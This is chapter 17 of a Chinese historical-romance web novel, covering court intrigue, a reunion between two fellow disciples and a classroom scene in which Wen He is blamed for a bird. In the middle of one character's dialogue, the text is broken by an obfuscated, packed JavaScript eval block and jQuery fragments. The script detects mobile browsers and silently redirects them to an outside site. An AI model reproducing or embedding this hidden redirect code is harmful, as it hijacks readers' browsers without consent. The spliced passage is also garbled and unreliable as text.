17. 雪鸟 师姐
作品:《没有郎君我可怎么活啊》 “伍慎!伍慎!”见他又走神了,朱三急了,摇着他肩膀咬牙切齿道:“你是被什么勾魂了吗?从昨天开始脑子就不正常。”
伍慎拿手臂顶开他,神情却像在遨游天际:“小爷好着呢。”
“你小子瞒不了我,”朱三胖乎乎的脸上堆起一个不怀好意的笑容,小眼睛眯起:“你是不是看上文家那漂亮妞了?”
他话里指的自然不是自小养在京城脸熟的文连紫,而是文荷。被戳中心事,伍慎推了他一把,骂骂咧咧道:“放屁,闭上你的狗嘴。”
“哎哟!真是,完蛋了,这小姑娘倒大霉了!”朱三顺势捂着肚子在地上笑得趴下来:“你这王八蛋嘴上没个正形,之前我无论问谁你都说对人家有意思,这下问到真有意思的,还否认上了,伍大少爷,你们家武将真是情关难过啊——”
朱三这人撒泼起来浑的不行,伍慎被他说的脸红脖子粗,当即扬起拳头就跟人扭打起来,拉拉扯扯,又打又骂:“你个混蛋,嘴巴跟我关紧点!紧点!”
“饶命——饶命——伍慎,你别急,我给你出点好主意,哎!”
这边的公子们打成一片,另外一边,三个大小姐则是怀揣着少女心事讲起了宋明华。文荷曾经提过的文章,欧阳茉当天晚上就回去央求着欧阳雍拿到了宋明华曾经撰写的那份,爱不释手地读了好几遍。
何绮说她不过听书两天,就已经害了相思病,文连紫则是笑劝欧阳茉勤勉修诗书,与宋明华多探讨课业,说不定能成。
这边,一道院墙阻隔了各怀心事的少年男女和与满庭心事息息相关的二人。
翰林侍读的私苑里,文荷起身拿过摆在宋明华跟前的茶,不客气地抿了一口。
“你还是爱喝新叶,这味道……比起从前进贡上来分到翰林苑的差远了。”
“只有你这种人如此念旧,每年该换的换过也就慢慢习惯,”宋明华捻起一块槐花蜜糕,目光平静,话里却透露出一股了然:“我早知道有今天,你终究是回来了。”
文荷指尖摩挲着光滑的杯盏,轻笑道:“我们相伴时日虽然不长,也是同门一场,我一回来就顾念着来探望你,你不高兴?”
“探望?”宋明华将剩下半块糕点也塞进嘴里,面无表情地咀嚼几下:“真当我在翰林苑充耳不闻吗?被你探过的早已躺在仵作怀里了。”
“那是他们,”掸了下衣袖免得沾水,文荷表情看上去有几分认真:“我从来没想过动你,只是瞧见你在走向一条注定没有结果的路罢了。”
宋明华清雅的面容紧绷了一瞬,而后放松下来,语气轻快:“你跟我说这个没用,同理,难道我说你要走的路比我的更险恶万分,身后就是阎王殿,你会停下吗?”
清悦笑声伴着宋明华这句话响起,文荷笑道:“是了,你说的不错,我不该劝你。就算你说这天地阎王随时随地都在我跟前点卯,我只信我命煞气,他点了这么多年,没有一次成功。”
话到此处,她好像突然想起什么有趣的事情,眼神微动,没有贸然开口,而是扭头看向后院成片的二乔玉兰。
宋明华舒静的内苑中种的多半是白绿草植,如此对比之下,那大片云雾般的浅红茶紫,衬得一方小都生动明亮起来。
“成色不错,养的真用心。”文荷叹道:“师父离开的时候,可曾说过什么吗?”
宋明华也看向那花树:“没说什么,只告诉我,今后再遇见你,一定要替他亲眼看看你究竟能走到哪一步。”
文荷淡淡一笑:“这也是我想知道的答案。”
“可是话又说回来……师姐,我们的确好久不见了。”
……
几番据理力争,最终还是被驳回,沈宴只身站在冷冷清清的莲池旁,身上披着件银狐裘,看不清表情。
“王爷,小的求王爷保重身体,”近侍小心翼翼劝解道:“您已经尽力了。”
两个女儿接连遭遇不测,大理寺查出来的结果却是内斗,沈宴亲自去问过沈知黎,这个生性要强的女儿却只是沉默半晌,遂承认下来。
他说不明白自己的心情,对待子女,凤阳王一向是个宽厚慈爱的父亲。王妃早逝,侧妃洛氏将沈知黎与沈碧乔一同抚养长大,姐妹感情一向不错,而他到现在才明白,即便是血脉相连的至亲,剥开内里,也存有不灭的恨意。
他背影萧索,春水碧如蓝,不知愁的游鱼在荷擎之下欢快地游动,沈宴缓缓闭目:“我这个父亲,做的似乎很失败。”
近侍当即红了眼眶:“从小到大,您虽然陪伴小姐们时间不多,却事事上心,归根究底是郡主大人糊涂了!”
“父王此话怎讲?”青年温润的声音骤然闯入主仆对话之中。
“大少爷!”那近侍惊喜万分地辨出来人,扑到他脚下痛哭流涕:“您可算回来了!”
踱步而来的沈知青笑着拍了拍他的脸:“起来说话,做了这么多年郡王府家仆,还是这么不经事,一点风雨就又哭又笑的。”
见到意气风发的长子,沈宴的表情总算有了一些雨过天晴的意思,朝他微一颔首:“回来了。”
“是,父王,知黎的事情我已经听说了,”沈知青面上犹带微笑,微微上挑的一双眼中有暗流涌动:“尽人事,知天命,此番不可再因父女之情牵涉进去,父王想必已经心力交瘁,之后的事,交给知青善后便好。”
沈宴无言,上前拍了拍他的肩膀,由衷道:“去燕王京历练了几年,长进不少,他可还好?”
“舅爷爷精神矍铄,身体也很不错,”沈知青笑道:“他总记挂着您,也是听说开封城里有变,让我赶紧回来帮衬。”
“舅舅一把年纪了,还要为我们这些小辈操心,”沈宴吹久了风,狭长的眉眼有点泛红:“刑部已经动手,左右现在无事可做,你且先跟我说说,这几年在那边做了些什么。”
沈知青连忙上前扶住他:“父王,我们借一步说话。”
沈知黎问斩那日,国子监集雅苑内的花鸟鱼虫都分外安静,宋明华讲读的声音沉稳有力,一堂学子安安静静地做着功课。
文荷才抄完一卷碑文,还未抬头就隐隐感觉到有目光注视着自己,只当做没看见,又翻开中庸篇,蘸墨提笔。
不料,一直安安分分待在梁上的一只雪白鸟雀拍拍翅膀,俯冲到文荷案上,蹭花了她方才执笔落下的墨迹,幸好她反应快,收得及时,否则整本都要作废。
“啊呀!”才干了坏事,那小雀儿不仅不消停,又跑到欧阳茉桌上啄她墨笔,小东西腿脚灵活,欧阳茉很快招架不住,吓得花容失色:“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15440120|167303||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
学士救我!”
在文荷意味深长的眼神注视下,宋明华撇了撇嘴,走到欧阳茉面前,她长袖一裹,修长骨感的双手将那不安分的雀儿牢牢锁住,指节反手扣住它翅膀,这才将欧阳茉解救出来。何绮很有眼色地抱着银笼冲上来,文连紫则是惊惭万分地跟着过来,紧张地卷着衣角。
“谁带来的?”宋明华望了文连紫一眼,言语中透着严厉。
这只鸟雀一看就是官家豢养的,一根杂毛也无,油光水滑,也不怕生人。听到这话,姚公子咳了几声,看着文连紫:“宋学士……这雀儿是文……”
“是文荷带来的!”朱三抢先答道,脸上堆出一个笑容:“今天早上她特地带了这小东西来,给我们看了一圈,宋学士,说起来也是我们不好,光顾着看新鲜,没想到这小东西这么凶啊。”
抬头看了眼朱三,文连紫心中喜悦,对上宋明华探究的目光,忙不迭地怒瞪了一眼文荷:“小六,我都劝了你不要带来,你偏要如此,这下好了,要不是宋学士在,真的伤到欧阳小姐可怎么办啊?”
伍慎看得眉头紧蹙,交叠在胸前的双拳感觉有点发痒,正要脱口而出那他妈明明是文连紫这个傻帽带来的,就被身后的宋二拉住,拼命给他使眼色。
文荷先是面露惊讶,不可置信地望了一沆瀣一气的同修,目光停在文连紫假意叹气的脸上格外久,随后像是认栽那般低头:“宋学士,今日是我之过。”
宋明华表情不耐,看起来也不想理睬这个频频惹麻烦的:“我上回说过,下次犯错,不再容情。”
文荷身子一抖,声音有点委屈:“是。”
“去院墙外站着听书,下午散课才准回来。”宋明华淡淡道。
要一个官家小姐站在外墙,其他几处院落的必然看得清楚,连带着不知要被怎样笑话呢。何绮有些不忍,迟疑道:“隔墙尚且有耳,学士念在文荷是初犯,不如就罚她在院中罚站吧。”
文荷感激地看了她一眼,何绮还没来得及回她一个眼神就被宋明华无情驳回:“何小姐若是愿意代为受之,我不介意多一位。”
闻言,四下再无动静,伍慎被两个兄弟死死拉住,心头一股火要发却发不出来,谁知道这两人抽的什么疯?
被这严厉不容情的惩罚吓到,文荷话里隐隐流露出一丝颤音,身子有点抖,却只能认栽:“是,我这就去,几次三番打扰学士,文荷实在有愧。”
说着,她掩住半张脸,快步跑出院门,想是伤心难过或者委屈极了。伍慎实在憋不住火了,回到座上将宋二一推,骂道:“是不是有病?拦着我干嘛?”
“你别急啊,”宋二恨铁不成钢道:“听听朱三怎么说?”
朱三凑近伍慎耳边,悄然解释几句,伍慎原本愠怒的一张脸逐渐浮现出怀疑,最后隐隐膨胀成一丝期待:“当真?”
“嗨!也就是你这个榆木脑袋想不出来了,怎么样?我说支招就一定出手,是兄弟哪有不靠谱的?”
伍慎心里高兴,美滋滋地搭上朱三和宋二肩膀,嘴上还在有所保留:“也不是百分百能成功。”
“去试试就知道了,你可是霍将军的亲侄儿,我就不信,谁听见你这身份不怵。”
“好,好,”伍慎笑弯了眼睛:“你们俩,我真是没白交!”